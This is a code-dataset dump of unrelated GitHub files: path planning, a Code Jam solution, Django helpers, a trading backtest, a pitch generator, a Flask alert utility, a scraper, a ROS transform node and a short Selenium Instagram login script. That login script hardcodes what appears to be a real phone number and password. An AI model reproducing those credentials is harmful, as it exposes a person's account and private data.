step(self,newPosition, 1.0)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn \n\n\tdef moveDownRight(self):\n\t\tif(self.position[1] < MAX_Y and self.position[0] < MAX_X):\n\t\t\tnewPosition = [self.position[0]+1, self.position[1]+1]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn\n\t\n\tdef moveDown(self):\n\t\tif(self.position[1] < MAX_Y):\n\t\t\tnewPosition = [self.position[0], self.position[1]+1]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn\n\n\tdef moveDownLeft(self):\n\t\tif(self.position[1] < MAX_Y and self.position[0] > 0):\n\t\t\tnewPosition = [self.position[0]-1, self.position[1]+1]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn\n\n\tdef moveLeft(self):\n\t\tif(self.position[0] > 0):\n\t\t\tnewPosition = [self.position[0]-1, self.position[1]]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.0)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn\n\n\tdef moveUpLeft(self):\n\t\tif(self.position[1] > 0 and self.position[0] > 0):\n\t\t\tnewPosition = [self.position[0]-1, self.position[1]-1]\n\t\t\ttry:\n\t\t\t\tif(self.parent.position == newPosition):\n\t\t\t\t\tpass #going back to the parent\n\t\t\t\telse:\n\t\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\t\tself.children.append(newStep)\n\t\t\texcept AttributeError:\n\t\t\t\tnewStep = step(self,newPosition, 1.414)\n\t\t\t\tself.children.append(newStep)\n\t\t\t\t#possible Move\n\t\telse:\n\t\t\treturn\n\ndef backtrack(stepObj):\n\txValues = []\n\tyValues = []\n\twhile stepObj.parent != None:\n\t\tprint(stepObj.position)\n\t\txValues.append(stepObj.position[0])\n\t\tyValues.append(stepObj.position[1])\n\t\tstepObj = stepObj.parent\n\txValues.append(stepObj.position[0])\n\tyValues.append(stepObj.position[1])\n\n\txValues.reverse()\n\tyValues.reverse()\n\n\tmplot.plot(xValues, yValues)\n\tmplot.axis([0, MAX_X, 0, MAX_Y])\n\tmplot.xlabel('graphical representation')\n\tmplot.show()\n\n#def animate(i):\n#\txs = []\n#\tys = []\n#\tfor step in STEPS_LIST:\n#\t\txs.append(step[0])\n#\t\tys.append(step[1])\n#\tax1.clear()\n#\tax1.axis([0, MAX_X, 0, MAX_Y])\n#\tax1.plot(xs, ys, 'r')\n\n\nstartPoints = input(\"Enter the Start Points (x,y) position:\")\nSTART_POINT = [int(each) for each in startPoints.split(\" \")] \ngoalPoints = input(\"Enter the Goal Points (x,y) position:\")\nGOAL_POINT = [int(each) for each in goalPoints.split(\" \")]\n\nnow = datetime.now().time()\nprint(\"start time: \",now)\nroot = step(None, START_POINT, 0)\n#ani = animation.FuncAnimation(fig, animate, interval=1000)\n#mplot.show()\n\nfor eachStep in STEP_OBJECT_LIST:\n\n\tif eachStep.position == GOAL_POINT:\n\t\tprint(\"reached the required goal\")\n\t\tnow = datetime.now().time()\n\t\tprint(\"found at time: \",now)\n\t\tbreak\n\telse:\n\t\teachStep.moveLeft()\n\t\teachStep.moveDown()\n\t\teachStep.moveRight()\n\t\teachStep.moveUp()\n\t\teachStep.moveUpLeft()\n\t\teachStep.moveDownLeft()\n\t\teachStep.moveDownRight()\n\t\teachStep.moveUpRight()\n\n#print(*STEPS_LIST, sep =\"\\n\")\nindex = STEPS_LIST.index(GOAL_POINT)\nprint(\"index\",index)\nprint(\"cost to come:\",STEP_OBJECT_LIST[index].costToCome)\nbacktrack(STEP_OBJECT_LIST[index])\nnow = datetime.now().time()\nprint(\"end time: \",now)\n\n\n\n#print(STEPS_LIST)\n\n\n\n\n","repo_name":"PatanSanaulla/PathPlanningPointRobot","sub_path":"pointRobo.py","file_name":"pointRobo.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23626411531","text":"input = open(\"A-large.in\").read().split(\"\\n\")\r\n\r\n\r\ndef red(a):\r\n\tn,m=len(a), len(a[0])\r\n\tfor i in xrange(n-1):\r\n\t\tfor j in xrange(m-1):\r\n\t\t\tif a[i][j]=='#':\r\n\t\t\t\tif a[i][j]==\"#\" and a[i][j+1]==\"#\" and a[i+1][j]==\"#\" and a[i+1][j+1]==\"#\":\r\n\t\t\t\t\ta[i][j],a[i][j+1]=\"/\",\"\\\\\"\r\n\t\t\t\t\ta[i+1][j],a[i+1][j+1]=\"\\\\\",\"/\"\r\n\t\t\t\telse:\r\n\t\t\t\t\treturn False\r\n\tfor i in xrange(n):\r\n\t\tif '#' in a[i]:\r\n\t\t\treturn False\r\n\treturn True\r\n\t\t\t\r\n\r\nT = int(input[0])\r\noutput = []\r\nline=1\r\nfor t in xrange(1,T+1):\r\n\tn,m = [int(x) for x in input[line].split()]\r\n\tline+=1\r\n\ta=[list(s) for s in input[line:line+n]]\r\n\tline+=n\r\n\toutput.append(\"Case #\"+str(t)+\":\")\r\n\tif not red(a):\r\n\t\toutput.append(\"Impossible\")\r\n\telse:\r\n\t\tfor s in a:\r\n\t\t\toutput.append(\"\".join(s))\r\n\t\r\n\t\r\n\t\r\n#print output\r\nopen(\"a.out\",\"w\").write(\"\\n\".join(output))","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_84/224.py","file_name":"224.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7466914283","text":"import uuid\nimport datetime\nimport logging\nimport zoneinfo\nfrom dataclasses import dataclass, field\n\n# from dataclass_wizard import asdict\nfrom datetime import timedelta\nfrom enum import Enum, auto\nfrom typing import Any\n\nfrom api.code_handler import Code, getCodeMsg\nfrom cron_converter import Cron\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.core.cache import cache\nfrom django.db.models import Count, F, Func, OuterRef, Q, Subquery\nfrom django.db.models.query import QuerySet\nfrom django.utils import timezone\nfrom log.models import Log\n\n\nlogger = logging.getLogger(__name__)\n\nTZ_TW = zoneinfo.ZoneInfo(settings.TIME_ZONE)\n\n\ndef resMsg(\n code: Code,\n msg: str = \"\",\n data: dict | list | None = None,\n fail: bool = False,\n fmt: dict = {},\n *args,\n **kwargs,\n):\n # 如果沒有 msg 就取得 Code 的 msg\n if not msg:\n msg = getCodeMsg(code, fmt)\n\n return {\n \"code\": code.value,\n \"msg\": msg,\n \"data\": data,\n \"fail\": fail,\n \"args\": args,\n \"kwargs\": kwargs,\n }\n\n\nclass JSONBUpdate(Func):\n def __init__(self, field, update):\n super().__init__(update)\n self.template = f\"{field} || %(expressions)s\"\n\n\n# 記錄 Log\n@dataclass\nclass LogRecord:\n method: str\n action: str\n level: str\n user: User | None = field(default=None, repr=False)\n api: str | None = field(default=None, repr=False)\n info: str | None = field(default=None, repr=False)\n message: str | None = field(default=None, repr=False)\n data: dict | list | None = field(default=None, repr=False)\n\n def save(self):\n Log.objects.create(\n method=self.method,\n action=self.action,\n level=self.level,\n user=self.user.username if self.user else None,\n api=self.api,\n info=self.info,\n message=self.message,\n data=self.data,\n )\n\n\ndef logRecord(\n method: str,\n action,\n level,\n user: User | None = None,\n api: str | None = None,\n info: str | None = None,\n message: str | None = None,\n data: dict | list | None = None,\n):\n Log.objects.create(\n method=method,\n action=action,\n level=level,\n user=user.username if user else None,\n api=api,\n info=info,\n message=message,\n data=data,\n )\n\n\ndef prepare_order_by(data, qs):\n sort = data.get(\"sort\")\n sort = sort.replace(\".\", \"__\") if sort else None\n order = data.get(\"order\")\n if order and sort:\n qs = qs.order_by(f\"{'-' if order == 'desc' else ''}{sort}\")\n return qs\n\n\ndef msg_diff_field(origin, new, field, label=None):\n msg = \"\"\n if getattr(origin, field) != getattr(new, field):\n if label:\n msg += f\"{label}: \"\n else:\n msg += f\"{field}: \"\n return msg + f\"{getattr(origin, field)} => {getattr(new, field)}\\n\"\n return msg\n","repo_name":"poliyka/dj4-vue3-integrate","sub_path":"backend/api/utils/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10111243468","text":"import pandas as pd\nimport numpy as np\nfrom datetime import datetime\n\ndef to_drawdown_series(prices):\n \"\"\"\n Calculates the drawdown series.\n This returns a series representing a drawdown.\n When the price is at all time highs, the drawdown\n is 0. However, when prices are below high water marks,\n the drawdown series = current / hwm - 1\n The max drawdown can be obtained by simply calling .min()\n on the result (since the drawdown series is negative)\n Method ignores all gaps of NaN's in the price series.\n Args:\n * prices (Series or DataFrame): Series of prices.\n \"\"\"\n # make a copy so that we don't modify original data\n drawdown = prices.copy()\n\n # Fill NaN's with previous values\n drawdown = drawdown.fillna(method='ffill')\n\n # Ignore problems with NaN's in the beginning\n drawdown[np.isnan(drawdown)] = -np.Inf\n\n # Rolling maximum\n roll_max = np.maximum.accumulate(drawdown)\n drawdown = drawdown / roll_max - 1.\n return drawdown\n\n\ndef calc_max_drawdown(prices):\n \"\"\"\n Calculates the max drawdown of a price series. If you want the\n actual drawdown series, please use to_drawdown_series.\n \"\"\"\n return (prices / prices.expanding(min_periods=1).max()).min() - 1\n\n\ndef drawdown_details(drawdown, index_type=pd.DatetimeIndex):\n \"\"\"\n Returns a data frame with start, end, days (duration) and\n drawdown for each drawdown in a drawdown series.\n .. note::\n days are actual calendar days, not trading days\n Args:\n * drawdown (pandas.Series): A drawdown Series\n (can be obtained w/ drawdown(prices).\n Returns:\n * pandas.DataFrame -- A data frame with the following\n columns: start, end, days, drawdown.\n \"\"\"\n\n is_zero = drawdown == 0\n # find start dates (first day where dd is non-zero after a zero)\n start = ~is_zero & is_zero.shift(1)\n start = list(start[start == True].index) # NOQA\n\n # find end dates (first day where dd is 0 after non-zero)\n end = is_zero & (~is_zero).shift(1)\n end = list(end[end == True].index) # NOQA\n\n if len(start) is 0:\n return None\n\n # drawdown has no end (end period in dd)\n if len(end) is 0:\n end.append(drawdown.index[-1])\n\n # if the first drawdown start is larger than the first drawdown end it\n # means the drawdown series begins in a drawdown and therefore we must add\n # the first index to the start series\n if start[0] > end[0]:\n start.insert(0, drawdown.index[0])\n\n # if the last start is greater than the end then we must add the last index\n # to the end series since the drawdown series must finish with a drawdown\n if start[-1] > end[-1]:\n end.append(drawdown.index[-1])\n\n result = pd.DataFrame(\n columns=('Start', 'End', 'Length', 'drawdown'),\n index=range(0, len(start))\n )\n\n for i in range(0, len(start)):\n dd = drawdown[start[i]:end[i]].min()\n\n if index_type is pd.DatetimeIndex:\n result.iloc[i] = (start[i], end[i], (end[i] - start[i]).days, dd)\n else:\n result.iloc[i] = (start[i], end[i], (end[i] - start[i]), dd)\n\n return result\n\n# 計算 MaxDD\ndef DrawDownAnalysis(cumRet):\n dd_series = to_drawdown_series(cumRet)\n dd_details = drawdown_details(dd_series)\n return dd_details['drawdown'].min(), dd_details['Length'].max()\n\n# 利用策略產生的持有部位資訊,計算底下四個指標來判斷投資績效\n# sharpe ratio: 判斷報酬的好壞跟穩定度,數值越大越好\n# maxdd: maximum drawdown, 最糟糕的狀況會賠幾 %\n# maxddd: maximum drawdown duration, 低於上一次最高報酬的天數\n# cumRet[-1]: 最後賺的 % 數\ndef indicators(df):\n dailyRet = df['Close'].pct_change()\n excessRet = (dailyRet - 0.04/252)[df['positions'] == 1]\n SharpeRatio = np.sqrt(252.0)*np.mean(excessRet)/np.std(excessRet)\n df['Ret'] = np.where(df['positions']==1, dailyRet, 0)\n cumRet = np.cumprod(1+df['Ret'])\n maxdd, maxddd = DrawDownAnalysis(cumRet)\n return np.round(SharpeRatio, 2), np.round(maxdd, 2), np.round(maxddd, 2), np.round(cumRet[-1], 2)\n\nif __name__==\"__main__\":\n from crawler import get_quotes\n df = get_quotes('2330.tw', datetime(2017, 1, 1))\n df['positions'] = 1\n print(indicators(df))","repo_name":"victorgau/PyConTW2018Talk","sub_path":"modules/backtest.py","file_name":"backtest.py","file_ext":"py","file_size_in_byte":4292,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"28908554586","text":"from dataclasses import dataclass\n\nfrom .model import PitchPoint, USTXProject, UVoicePart\nfrom .utils import music_math\nfrom .utils.time_axis import TimeAxis\n\n\n@dataclass\nclass BasePitchGenerator:\n pitch_start: int = 0\n pitch_interval: int = 5\n\n @classmethod\n def base_pitch(cls, part: UVoicePart, project: USTXProject) -> list[float]:\n time_axis = TimeAxis()\n time_axis.build_segments(project)\n u_notes = part.notes\n prev_note = None\n\n pitches = [0.0] * (\n (part.notes[-1].end if len(part.notes) else 0) // cls.pitch_interval\n )\n index = 0\n for note in u_notes:\n if (\n cls.pitch_start + index * cls.pitch_interval < note.position\n and index < len(pitches)\n and index > 0\n ):\n pitches[index] = pitches[index - 1]\n index += 1\n while (\n cls.pitch_start + index * cls.pitch_interval < note.end\n and index < len(pitches)\n ):\n pitches[index] = note.tone * 100\n index += 1\n index = max(1, index)\n while index < len(pitches):\n pitches[index] = pitches[index - 1]\n index += 1\n for note in u_notes:\n if note.vibrato.length <= 0:\n continue\n start_index = max(\n 0, int((note.position - cls.pitch_start) / cls.pitch_interval)\n )\n end_index = min(\n len(pitches), (note.end - cls.pitch_start) // cls.pitch_interval\n )\n n_period = note.vibrato.period / time_axis.ms_between_tick_pos(\n note.position, note.end\n )\n for i in range(start_index, end_index):\n n_pos = (\n cls.pitch_start + i * cls.pitch_interval - note.position\n ) / note.duration\n point = note.vibrato.evaluate(n_pos, n_period, note)\n pitches[i] = point.y * 100\n for note in u_notes:\n pitch_points = note.pitch.data\n pitch_points = [\n PitchPoint(\n x=time_axis.ms_pos_to_tick_pos(\n time_axis.tick_pos_to_ms_pos(part.position + note.position)\n + point.x\n )\n - part.position,\n y=point.y * 10 + note.tone * 100,\n shape=point.shape,\n )\n for point in pitch_points\n ]\n if len(pitch_points) == 0:\n pitch_points.append(PitchPoint(x=note.position, y=note.tone * 100))\n pitch_points.append(PitchPoint(x=note.end, y=note.tone * 100))\n if note == u_notes[0] and pitch_points[0].x > cls.pitch_start:\n pitch_points.insert(\n 0, PitchPoint(x=cls.pitch_start, y=pitch_points[0].y)\n )\n elif pitch_points[0].x > note.position:\n pitch_points.insert(0, PitchPoint(x=note.position, y=pitch_points[0].y))\n if pitch_points[-1].x < note.end:\n pitch_points.append(PitchPoint(x=note.end, y=pitch_points[-1].y))\n prev_point = pitch_points[0]\n index = max(0, int((prev_point.x - cls.pitch_start) / cls.pitch_interval))\n for point in pitch_points[1:]:\n x = cls.pitch_start + index * cls.pitch_interval\n while x <= point.x and index < len(pitches):\n pitch = music_math.interpolate_shape(\n (prev_point.x, prev_point.y),\n (point.x, point.y),\n x,\n prev_point.shape,\n )\n base_pitch = (\n prev_note.tone * 100\n if prev_note is not None and x < prev_note.end\n else note.tone * 100\n )\n pitches[index] += pitch - base_pitch\n index += 1\n x += cls.pitch_interval\n prev_point = point\n prev_note = note\n return pitches\n","repo_name":"SoulMelody/LibreSVIP","sub_path":"libresvip/plugins/ustx/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4217,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"18111688205","text":"import json\nimport sys\nimport argparse\n\nfrom jsonschema import validate\nfrom rmf_api_msgs import schemas\n\n\ndef main(argv=None):\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--task_log\", action=\"store_true\",\n help='validate task log')\n parser.add_argument(\"--task_state\", action=\"store_true\",\n help='validate task state')\n parser.add_argument('-i', '--input', required=True,\n type=str, help='json file input path')\n args = parser.parse_args(argv[1:])\n\n if args.task_state:\n print(\"checking input json with [task_state] schema\")\n schema = schemas.task_state()\n elif args.task_log:\n print(\"checking input json with [task_log] schema\")\n schema = schemas.task_log()\n else:\n print(\"Error, No schema selection is chosen, exit\")\n parser.print_help()\n exit(0)\n\n schema = json.loads(schema)\n\n # load input file\n file = open(args.input)\n data = json.load(file)\n file.close()\n\n error = validate(instance=data, schema=schema)\n if not error:\n print(f\"Validated [{args.input}]. It's Good!\")\n\n###############################################################################\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","repo_name":"open-rmf/rmf_api_msgs","sub_path":"rmf_api_msgs/scripts/check_sample.py","file_name":"check_sample.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"9335243154","text":"from typing import Dict, List, Union\n\n# ------------------ AlertUtil ------------------\n__all__ = [\"alert\", \"AlertUtil\"]\n\n\nclass InvalidType(Exception):\n \"\"\"\n Raised when theres an Invalid type\n \"\"\"\n\n def __init__(self, msg):\n super().__init__(msg)\n\n\nclass AlertUtil(object):\n \"\"\"\n Util for alert management\n \"\"\"\n\n alert_dict = {\"type\": \"\", \"message\": \"\"}\n\n def __init__(self, app=None):\n if isinstance(app, type(None)):\n pass\n else:\n self.init_app(app)\n\n def init_app(self, app):\n \"\"\"\n Initializes AlertUtil\n \"\"\"\n if not hasattr(self, \"config\"):\n setattr(self, \"config\", app.config)\n if not (\n self.config.get(\"ALERT_CODES_NUMBER_LIST\")\n or self.config.get(\"ALERT_CODES_DICT\")\n or self.config.get(\"ALERT_TYPES\")\n ):\n raise ValueError(\n \"\"\"Either ALERT_CODES_NUMBER_LIST or ALERT_CODES_DICT or\n ALERT_TYPES was not found in the apps Config\"\"\"\n )\n else:\n if not (\n self.config.get(\"ALERT_CODES_NUMBER_LIST\")\n or self.config.get(\"ALERT_CODES_DICT\")\n or self.config.get(\"ALERT_TYPES\")\n ):\n raise ValueError(\n \"\"\"Either ALERT_CODES_NUMBER_LIST or ALERT_CODES_DICT or\n ALERT_TYPES was not found in the apps Config\"\"\"\n )\n\n app.extensions[\"AlertUtil\"] = self\n\n def getConfigValue(self, configValue: str):\n try:\n response = self.config.get(configValue)\n return response\n except:\n raise ValueError(f\"Value: {configValue} was not found in the apps Config\")\n\n def setAlert(self, alertType: str, msg: Union[str, int]):\n \"\"\"\n Set Alert for webpages that supports Alert messages\n \"\"\"\n alert_types: List[str] = self.getConfigValue(\"ALERT_TYPES\")\n if alertType not in alert_types:\n raise InvalidType(f\"{alertType} is an Invalid Type\")\n self.alert_dict[\"type\"] = alertType\n self.alert_dict[\"message\"] = msg\n return True\n\n def getAlert(self) -> Dict[str, str]:\n \"\"\"\n Gets the Alert Type and message\n Returns:\n valueDict\n \"\"\"\n alert_codes_list: List[str] = self.getConfigValue(\"ALERT_CODES_NUMBER_LIST\")\n alert_codes_dict: Dict[str, str] = self.getConfigValue(\"ALERT_CODES_DICT\")\n alertType = self.alert_dict[\"type\"]\n alertMsg = self.alert_dict[\"message\"]\n self.alert_dict.update(type=\"\", message=\"\")\n if alertType == \"error\":\n for code in alert_codes_list:\n if code != alertMsg:\n continue\n else:\n alertMsg = alert_codes_dict[code]\n valueDict = {\"Type\": alertType, \"Msg\": alertMsg}\n return valueDict\n else:\n valueDict = {\"Type\": alertType, \"Msg\": alertMsg}\n return valueDict\n\n\nalert = AlertUtil()\n","repo_name":"SLey3/Projects-Website","sub_path":"ProjectsWebsite/util/utilmodule.py","file_name":"utilmodule.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74995612673","text":"#성공\nfrom selenium import webdriver\n\ndriver = webdriver.Chrome(r\"D:\\바탕화면\\chromedriver.exe\")\ndriver.implicitly_wait(3)\n\ndriver.get('https://www.instagram.com/')\n\n\ndriver.find_element_by_css_selector('#loginForm > div > div:nth-child(1) > div > label > input').send_keys('01051932867')\ndriver.find_element_by_css_selector('#loginForm > div > div:nth-child(2) > div > label > input').send_keys('kdh493200!I')\n\ndriver.find_element_by_css_selector('#loginForm > div > div:nth-child(3) > button > div').click()","repo_name":"everydayday/pptTransform","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41791898145","text":"\nimport re\nimport lxml.html\nimport itertools\n\nfrom lxml import html, etree\n\n\nclass BedBathAndBeyondVariants(object):\n\n def setupSC(self, response):\n \"\"\" Call it from SC spiders \"\"\"\n self.response = response\n self.tree_html = lxml.html.fromstring(response.body)\n\n def setupCH(self, tree_html):\n \"\"\" Call it from CH spiders \"\"\"\n self.tree_html = tree_html\n\n def _variants(self):\n attribute_list = []\n variant_list = []\n attribute_values_list = []\n size_list_all = []\n color_list = []\n\n colors = self._get_colors()\n for color in colors:\n color_list.append(color)\n if color_list:\n color_list = [r for r in list(set(color_list)) if len(r.strip()) > 0]\n attribute_values_list.append(color_list)\n\n sizes = self._get_sizes()\n for size in sizes:\n size = self._clean_text(size).replace(' ', '')\n size_list_all.append(size)\n if size_list_all:\n size_list_all = [r for r in list(set(size_list_all)) if len(r.strip()) > 0]\n attribute_values_list.append(size_list_all)\n combination_list = list(itertools.product(*attribute_values_list))\n combination_list = [list(tup) for tup in combination_list]\n if color_list:\n if 'color' not in attribute_list:\n attribute_list.append('color')\n if size_list_all:\n if 'size' not in attribute_list:\n attribute_list.append('size')\n for variant_combination in combination_list:\n variant_item = {}\n properties = {}\n for index, attribute in enumerate(attribute_list):\n properties[attribute] = variant_combination[index]\n variant_item['properties'] = properties\n variant_list.append(variant_item)\n return variant_list\n\n def _swatches(self):\n swatch_list = []\n image_list = []\n colors = self._get_colors()\n images = self._get_images()\n\n for image in images:\n image = 'https:' + image.split('?')[0] + '?hei=500&wid=500&qlt=50,1'\n image_list.append(image)\n\n for index, color in enumerate(colors):\n swatch_info = {}\n swatch_info[\"color\"] = color\n swatch_info[\"image\"] = image_list[index]\n swatch_list.append(swatch_info)\n\n if swatch_list:\n return swatch_list\n\n return None\n\n def _get_sizes(self):\n sizes = self.tree_html.xpath(\n \"//select[@id='selectProductSize']\"\n \"//option/text()\")\n\n return sizes[1:]\n\n def _get_colors(self):\n colors = self.tree_html.xpath(\n \"//ul[contains(@class, 'swatches')]\"\n \"//li[contains(@class, 'colorSwatchLi')]/@title\")\n\n return colors\n\n def _get_images(self):\n images = self.tree_html.xpath(\n \"//ul[contains(@class, 'swatches')]\"\n \"//li[contains(@class, 'colorSwatchLi')]/@data-imgurlthumb\")\n\n return images\n\n @staticmethod\n def _clean_text(text):\n return re.sub(\"[\\n\\t]\", \"\", text).strip()\n","repo_name":"aprosdev/ecom-predictor","sub_path":"spiders_shared_code/bedbathandbeyond_variants.py","file_name":"bedbathandbeyond_variants.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23376690696","text":"#!/usr/bin/env python \nimport rospy\nimport tf2_ros\nimport tf2_py as tf2\nfrom sensor_msgs.msg import PointCloud2\nfrom tf2_sensor_msgs.tf2_sensor_msgs import do_transform_cloud\n\nimport numpy as np\nimport sys\nimport signal\n\ndef signal_handler(signal, frame): # ctrl + c -> exit program\n print('You pressed Ctrl+C!')\n sys.exit(0)\nsignal.signal(signal.SIGINT, signal_handler)\n\nclass converter():\n def __init__(self):\n rospy.init_node('tf_converter', anonymous=True)\n\n self.sub_points = rospy.Subscriber('/dji_matrice_100/camera/depth/points', PointCloud2, self.points_cb)\n self.pub_points = rospy.Publisher('/dji_matrice_100/world_points', PointCloud2, queue_size=10)\n\n self.tf_buffer = tf2_ros.Buffer()\n self.tf_listener = tf2_ros.TransformListener(self.tf_buffer)\n self.rate = rospy.Rate(30)\n\n \n\n \n def points_cb(self, msg):\n\n trans1 = self.tf_buffer.lookup_transform(\"base_link\", \"camera_link\", rospy.Time(0), rospy.Duration(10))\n trans2 = self.tf_buffer.lookup_transform(\"map\", \"base_link\", rospy.Time(0), rospy.Duration(10))\n trans3 = self.tf_buffer.lookup_transform(\"world\", \"map\", rospy.Time(0), rospy.Duration(10))\n \n self.world_points = msg\n self.world_points = do_transform_cloud(msg, trans1)\n self.world_points = do_transform_cloud(self.world_points, trans2)\n self.world_points = do_transform_cloud(self.world_points, trans3)\n self.world_points.header.frame_id = \"world\"\n\n self.pub_points.publish(self.world_points)\n return\n\nif __name__ == '__main__':\n con = converter()\n while 1:\n try:\n con.rate.sleep()\n except (rospy.ROSInterruptException, SystemExit, KeyboardInterrupt) :\n sys.exit(0)\n \n\n\n# if __name__ == '__main__':\n# rospy.init_node('tf_converter')\n\n# listener = tf.TransformListener()\n\n# pub_converted_pc = rospy.Publisher('/dji_matrice_100/world_points', PointCloud2, queue_size=10)\n\n# rate = rospy.Rate(30.0)\n# while not rospy.is_shutdown():\n# try:\n# (t_body_t_cam,r_body_t_cam) = listener.lookupTransform('base_link', 'camera_link', rospy.Time(0))\n# (t_map_t_body,r_map_t_body) = listener.lookupTransform('map', 'base_link', rospy.Time(0))\n# except (tf.LookupException, tf.ConnectivityException, tf.ExtrapolationException):\n# continue\n\n# angular = 4 * math.atan2(trans[1], trans[0])\n# linear = 0.5 * math.sqrt(trans[0] ** 2 + trans[1] ** 2)\n# cmd = geometry_msgs.msg.Twist()\n# cmd.linear.x = linear\n# cmd.angular.z = angular\n# turtle_vel.publish(cmd)\n\n # rate.sleep()\n\n# #!/usr/bin/env python\n# import rospy\n# # from gazebo_msgs.msg import ModelStates\n# from sensor_msgs.msg import PointCloud2\n# from tf2_msgs.msg import TFMessage\n# import tf\n\n# class tf_converter():\n# def __init__(self):\n# rospy.init_node('tf_converter', anonymous=True)\n# self.camera_link_name = rospy.get_param(\"/camera_link_name\", 'camera_link')\n# # self.raw_pointcloud_name = rospy.get_param(\"/raw_pointcloud_name\", '/dji_matrice_100/camera/depth/points')\n# # self.base_link_name = rospy.get_param(\"/base_link_name\", 'base_link')\n \n# self.pub_world_data = rospy.Publisher('/dji_matrice_100/world_points', PointCloud2, queue_size=10)\n \n# self.sub_tf= rospy.Subscriber('/tf', TFMessage, self.tf_cb)\n# self.sub_raw_data = rospy.Subscriber('/dji_matrice_100/camera/depth/points', PointCloud2, self.base_cb)\n# self.rate = rospy.Rate(30)\n\n# self.T_body_t_cam_check = False\n# # self.base_check=0\n# # self.br = tf.TransformBroadcaster()\n\n# def tf_cb(self, msg):\n# for tf_in in msg.transforms:\n# if (tf_in.child_frame_id == self.camera_link_name) and not self.T_body_t_cam_check:\n# m = tf.transformations.quaternion_matrix((tf_in.transform.rotation.x, tf_in.transform.rotation.y, \\\n# tf_in.transform.rotation.z, tf_in.transform.rotation.w))\n# self.T_body_t_cam[0][0:3] = m[0][0:3]\n# self.T_body_t_cam[1][0:3] = m[1][0:3]\n# self.T_body_t_cam[2][0:3] = m[2][0:3]\n# self.T_body_t_cam[0][3] = tf_in.transform.translation.x\n# self.T_body_t_cam[1][3] = tf_in.transform.translation.y\n# self.T_body_t_cam[2][3] = tf_in.transform.translation.z\n# self.T_body_t_cam[3][3] = 1.0\n# self.T_body_t_cam_check = True\n\n# elif tf_in.child_frame_id == \"base_link\":\n# mm = tf.transformations.quaternion_matrix((tf_in.transform.rotation.x, tf_in.transform.rotation.y, \\\n# tf_in.transform.rotation.z, tf_in.transform.rotation.w))\n# print(mm)\n# print(\"==========\")\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[0][0:3] = mm[0][0:3]\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[1][0:3] = mm[1][0:3]\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[2][0:3] = mm[2][0:3]\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[0][3] = tf_in.transform.translation.x\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[1][3] = tf_in.transform.translation.y\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[2][3] = tf_in.transform.translation.z\n# print(self.T_map_t_body)\n# print(\"-----------\")\n# self.T_map_t_body[3][3] = 1.0\n# print(self.T_map_t_body)\n# print(\"#######################################\")\n\n# def base_cb(self, msg):\n# # self.base_check=1\n# self.header = msg.header.stamp\n \n# return\n\n# if __name__ == '__main__':\n# con = tf_converter()\n# while 